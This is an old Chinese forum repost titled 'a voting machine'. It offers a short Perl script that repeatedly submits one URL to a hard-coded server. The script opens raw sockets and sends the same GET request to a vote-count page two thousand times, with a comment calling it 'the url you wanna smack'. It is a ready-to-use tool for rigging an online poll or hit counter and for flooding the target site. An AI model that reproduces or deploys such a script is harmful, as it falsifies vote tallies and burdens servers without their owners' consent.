![Rank: 2](images/default/star_level2.gif)
- UID
- 2033152
- 威望
- 1 点
- 金钱
- 3090 金币
- 点卡
- 0 点
|
1#
发表于 2003-9-3 18:08
| 只看该作者
[转帖]一个投票机
用途,反复提交一个URL- #!/usr/bin/perl
- use Socket;
- $|=1;
- $localhost = `hostname`;
- $timeout=20;
- $SIG{'ALRM'} = 'do_alarm';
- sub do_alarm {
- alarm(0); # reset alarm clock
- $SIG{'ALRM'} = 'do_alarm';
- close (SOCK);
- return ;
- }
- chop $localhost;
- $port = 80;
- $proto = getprotobyname('tcp');
- for ($i=1;$i<=2000;$i++)
- {
- $a="202.205.10.25";
- #IP of target
- $iaddr = inet_aton ($a);
- $paddr = sockaddr_in($port, $iaddr);
- socket (SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
- alarm(0);
- alarm($timeout);
- connect (SOCK, $paddr) || next;
- alarm(0);
- select(SOCK);
- $| = 1;
- select(STDOUT);
- print SOCK "GET /yingji/count.asp?id=80\n";
- #the url you wanna smack
- close SOCK;
- }
复制代码 |
|